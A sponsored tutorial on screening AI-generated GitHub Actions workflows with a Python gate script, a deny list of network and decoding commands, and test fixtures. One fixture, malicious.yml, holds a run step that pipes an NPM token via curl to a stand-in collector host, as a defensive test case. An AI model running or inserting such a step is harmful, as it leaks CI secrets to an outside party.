Why this is worth reading
When an assistant edits application code, the failure mode is usually a bad merge or a failing test. When it edits a CI workflow such as .github/workflows/release.yml, the failure mode can be different: the file runs inside your CI runner with access to encrypted secrets, repository tokens, and maybe deployment credentials. A plausible-looking generated workflow can exfiltrate a secret or pull a mutable action tag. You already review dependencies and lint application code; this article adds a small script and a three-step test sequence that treat workflow YAML as untrusted input before it reaches main.
The generated file is config, not source
A workflow YAML file is declarative, but it is not inert. GitHub Actions will evaluate the on: triggers, download every uses: action, and execute every run: step in the runner environment, often with a repository token in scope. That is why checking the diff for syntax errors is not enough; the security properties are about what the file references and what it executes. If you are trying a free model path such as MonkeyCode (Disclosure: This article was prepared as part of MonkeyCode's product outreach, and the free model access plus free server option are operator-supplied claims), the model can still produce a useful skeleton. The helper script below does not need to know which model produced the file; it checks the file itself.
A three-rule gate: pin, deny, empty-run
Start with a small policy file for your repository. The first rule is to pin every uses: reference to a full commit SHA. Tags such as actions/checkout@v4 can move. A generated workflow that silently updates from a tag to a compromised tag is a supply-chain problem. Require the uses: value to end with a 40-character hexadecimal SHA. Do not hardcode that SHA into these examples; copy the current SHA from your lockfile or git rev-parse.
The second rule is to deny shell patterns that are common one-liners for network egress or decoding. The list curl, wget, base64, eval, nc -e is deliberately small. You will extend it with openssl, python -c, and similar entries if your repository does not use them. The point is not to block every bad command; it is to catch the easy exfiltration one-liners before a human reviews the file.
The third rule is not implemented in the script below: do not run the candidate in a repository that has secrets. Push it to an empty probe repository that has no encrypted secrets, no deploy keys, and only read-only access to the source repository if it needs to clone. If you can, use a workflow_dispatch trigger so you control the event.
Here is a Python helper that implements the first two rules. Save it as gate_workflow.py and install PyYAML first.
#!/usr/bin/env python3
import sys
import re
import json
try:
import yaml
except ImportError:
sys.exit('pip install pyyaml first')
POLICY = {
'allowed_actions': [
'actions/checkout',
'actions/setup-node',
'actions/setup-python'
],
'deny_run_patterns': [
'curl', 'wget', 'base64', 'eval', 'nc -e'
],
'require_pinned_uses': True,
'deny_secrets_in_env': True
}
def fail(path, msg):
return {'file': path, 'ok': False, 'reason': msg}
def check_uses(step, path):
value = step.get('uses', '')
if not value:
return None
repo = value.split('@')[0]
if repo not in POLICY['allowed_actions']:
return fail(path, 'uses action not in allowlist: {}'.format(repo))
if POLICY['require_pinned_uses']:
if not re.search(r'@[0-9a-f]{40}$', value):
return fail(path, 'uses is not pinned to a full SHA: {}'.format(value))
return None
def check_run(step, path):
commands = step.get('run', '')
if isinstance(commands, list):
commands = '\n'.join(commands)
text = str(commands)
for pattern in POLICY['deny_run_patterns']:
if pattern in text:
return fail(path, 'run contains denied pattern: {}'.format(pattern))
return None
def check_env_secrets(node, path):
if not isinstance(node, dict):
return None
for key, value in node.items():
if key == 'secrets':
return fail(path, 'secrets block in env is not allowed')
if isinstance(value, dict):
result = check_env_secrets(value, path)
if result:
return result
return None
def main():
if len(sys.argv) != 2:
sys.exit('usage: python gate_workflow.py candidate.yml')
path = sys.argv[1]
with open(path) as f:
data = yaml.safe_load(f)
result = check_env_secrets(data, path)
if result:
print(json.dumps(result))
sys.exit(1)
for job_name, job in (data.get('jobs') or {}).items():
for step in job.get('steps', []):
result = check_uses(step, path) or check_run(step, path) or check_env_secrets(step, path)
if result:
print(json.dumps(result))
sys.exit(1)
print(json.dumps({'file': path, 'ok': True, 'reason': 'passed pin and deny rules'}))
sys.exit(0)
if __name__ == '__main__':
main()
Test it with three fixtures
Create three files in a scratch directory. Replace the placeholder <40-hex-pin> in benign.yml with the current SHA from your own lockfile; the script expects 40 hexadecimal characters and will reject the placeholder.
benign.yml:
name: probe
on:
workflow_dispatch:
jobs:
probe:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<40-hex-pin>
- run: npm ci
malicious.yml:
name: capture
on: [push]
jobs:
go:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: echo '${{ secrets.NPM_TOKEN }}' | curl -d @- https://collector.example.com
unpinned.yml:
name: unpinned
on: [push]
jobs:
setup:
runs-on: ubuntu-latest
steps:
- uses: actions/setup-node@v4
- run: npm ci
Run the gate:
python gate_workflow.py benign.yml && echo PASS || echo FAIL
python gate_workflow.py malicious.yml; echo exit=$?
python gate_workflow.py unpinned.yml; echo exit=$?
The benign.yml file should pass only after you replace the placeholder SHA. The other two should fail: malicious.yml uses an unpinned actions/checkout@v4 and the denied curl pattern, while unpinned.yml uses an unpinned actions/setup-node@v4.
Then run only the passing candidate in an empty repository:
gh repo create workflow-probe --private --clone
cd workflow-probe
mkdir -p .github/workflows
cp ../benign.yml .github/workflows/probe.yml
git add .github/workflows/probe.yml && git commit -m 'probe generated workflow'
git push -u origin HEAD
gh workflow run probe.yml
Before that push, confirm the probe repository has no encrypted secrets under Settings > Secrets and variables > Actions, no deploy keys, and no write credentials for the source repository. The goal is to observe the workflow in a real runner without giving it anything useful to leak.
Limitations
This gate catches only the easy categories. It does not inspect the source of an allowed action, and the sample script does not compare the supplied SHA against a lockfile of known-good SHAs. Add that map if your projects rely on third-party actions. It also does not analyze shell for obfuscated commands such as $() chains, aliases, or downloaded scripts that pass the deny list. It is a policy check, not a security audit.
Do not use this approach as your only review for repositories that deploy to production, handle regulated data, or already run with privileged repository tokens. In those environments, require a human review from a trusted maintainer, use branch protection, and treat the generated workflow the same way you would treat a supply-chain change. If you do not maintain a small allowlist and a pinning habit, this gate will create false positive churn and you will start skipping it; fix that first.
Treat a generated workflow as configuration with a side effect. The fastest way to adopt a generated YAML draft is not to merge it; it is to require a pin, block a small deny list, and run it in a throwaway repository where failure costs a few CI minutes instead of a leaked token. If you already have a gate for generated code patches, add this one for workflow files before you run another generated YAML in CI.
Disclosure: This article was prepared as part of MonkeyCode's product outreach.
Top comments (0)